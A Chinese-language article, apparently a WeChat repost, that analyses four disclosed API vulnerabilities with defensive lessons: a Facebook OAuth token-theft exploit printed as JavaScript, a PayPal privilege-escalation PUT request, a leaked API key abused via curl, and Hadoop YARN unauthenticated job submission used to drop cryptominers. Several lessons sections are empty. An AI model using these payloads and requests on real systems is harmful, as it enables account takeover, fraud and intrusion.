一、OAuth绕过:价值$55,000 美元的漏洞
漏洞类型:API2 - 失效的用户身份认证
漏洞难度:高
报告日期:2019-12-16
信息来源:https://cybersecuritynews.com/facebook-account-take-over-vulnerability/
1.1 漏洞利用过程
Facebook正常的登录url格式如下:
https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https://staticxx.facebook.com/connect/xd_arbiter.php?version=42#origin=https://www.domain.com
var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");
而恰好在staticxx.facebook.com域下,存在了提供上述代码功能的 js文件,于是攻击者利用了这个链接,如下:
https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42
构造出来的登录链接格式如下所示,其中124024574287414是instagram的app_id,:
https://www.facebook.com/connect/ping?client_id=124024574287414&redirect_uri=https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=44#origin=https://www.instagram.com
最后,攻击者定制了Facebook JavaScript SDK,代码如下:
var app_id = '124024574287414',
app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;
var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);
window.addEventListener('OAuth', function(FB) {
alert(FB.data.name);},
!1);
运行起来之后,在受害者不知情的情况下,获取了access_token。
漏洞在上报后,很快得到了Facebook的响应,最终Facebook做了如下几项重要的修改:
2.所有xd_arbiter的重定向均被阻止
3.从服务器上删除7SWBAvHenEn.js文件
4.使用/dialog/oauth/作为身份认证的核心接入点,禁用/connect/ping
1.2 漏洞启示
在攻击达成的路径上,可修改xd_arbiter是第一个关键点,提供代理劫持框架的7SWBAvHenEn.js是第二个关键点。作为防守方,仅仅使用url白名单往往还不够。在面对跨域通信,尤其是在PC端、手机端、移动平板等不同类型设备不同浏览器的复杂情况下,即使使用“X-Frame-Options”也要考虑其兼容性问题。另外,当开发人员在引入某个设计时,在实现功能前提下的遵循简单原则,要考虑功能方便实现的同时,万一功能被黑客利用了如何提前做防护措施。
二、委托授权:啊!老板你账户上的钱不见了
漏洞类型:API1 -失效的对象级授权和访问控制
漏洞难度:高
报告日期:2019-7-30
信息来源:https://hackerone.com/reports/415081
漏洞发生在paypal.com站点,在paypal的业务中,其账户可分以下两类:
1.企业账号(Business Account),也叫商业账号,具有PayPal高级账号的所有功能权限,主要面向企业管理用户。
2.子账号(Secondary Account),也叫辅助账号,主要是方便企业账号管理下属员工,方便设置不同的管理功能,比如只能查看余额/只能退款/只能提现等。
企业账号通过委托授权子账号来管理资金,比如企业内的出纳和会计,在paypal平台对应于不同的子账号,出纳可以转账提现,会计可以查询和稽核。
2.1 漏洞利用过程
从上文的背景描述我们知道,企业账号A下可以设置子账号A1,攻击者对【查看子账号】的功能进行分析,其URL为
https://www.paypal.com/businessmanage/users/1657893467745278998,其中结尾的id号1657893467745278998表示的就是子账号绑定的企业账号。在此子账号查看操作过程中产生了一个PUT请求,报文内容如下所示:
PUT /businessmanage/users/api/v1/users? HTTP/1.1
Host: www.paypal.com
Connection: close
[{"id":"1657893467745278998",
"accessPoint":{"privileges":[
"MANUAL_REFERENCE_TXN","VIEW_CUSTOMERS","SEND_MONEY"],
"id":"5994224506","accounts":["[email protected]"]
},"roleID":0,"roleName":"CUSTOM",
"privilegeChanged":true,"privilegeSecondaryName":"A1"
}]
2.2 漏洞启示
三、密钥泄露:一不小心,你我就是在互联网上裸奔的那个人
漏洞类型:API2 - 失效的用户身份认证
漏洞难度:中
报告日期:2020-2-5
信息来源:https://medium.com/@spade.com/api-secret-key-leakage-leads-to-disclosure-of-employees-information-5ca4ce17e1ce
3.1 漏洞利用过程
通过API文档的阅读,他快速验证JS文件中泄漏的API密钥是否仍在工作。并通过curl命令,可以轻松地从API接口获取员工列表。另外,还可以查看、删除、更新所有的员工信息。
当然,漏洞提交后也很快通过官方的审核,并获取了$2,000美元的奖励。
3.2 漏洞启示
现在我们再来回顾一下整个攻击过程,如下图所示:
四、大数据组件:挖矿病毒的温柔乡
漏洞类型:API5- 失效的功能级授权和访问控制
漏洞难度:高
报告日期:2018-6-4
信息来源:https://cloud.tencent.com/developer/article/1142503
Hadoop Yarn大数据组件的Cluster Applications API对外提供了一系列的接口,其中就包含new application和submit application两个API[1]。分析报告中描述,攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,在未授权的情况下远程执行文件下载脚本,从而再进一步下载启动挖矿程序达到挖矿的目的。
4.1 漏洞利用过程
攻击者首先通过Hadoop Yarn的Cluster Applications API中的申请新application接口,生成新的application对象,如下所示:
curl -v -X POST'http://ip:8088/ws/v1/cluster/apps/new-application'
返回内容类似于:
{" application-id":" application_1527144634877_ 20465",
"maximum-resource-capbility":{
"memory' :16384, "vCores' :8}
}
接着,通过Submit Application的POST方法,提交生成带命令行的脚本。调用的Hadoop Yarn REST API如下图所示:
而生成的脚本内容为下载挖矿的病毒程序,如下图:
4.2 漏洞启示
五、小结
上述的四个案例,仅仅是众多API安全问题中很小的一部分。当我们今天坐下来讨论的时候,API安全并非新生事物,它已然积患已久,亟待整治。从NVD到各大互联网厂商的安全应急响应中心以及漏洞赏金平台,都有它频频闪现的身影,也着实提醒我们每一个安全从业者,需加强对它的重视。这和人类健康的治理一样,应大力倡导安全的生产方式和行为习惯,逐步“以治病为中心”转变到“以预防为中心”上来。
参考资料:
1.http://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/ResourceManagerRest.html
2.https://www.cnblogs.com/junsec/p/11390634.html
原文始发于微信公众号(面具与甲虫):短兵:API安全典型漏洞剖析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论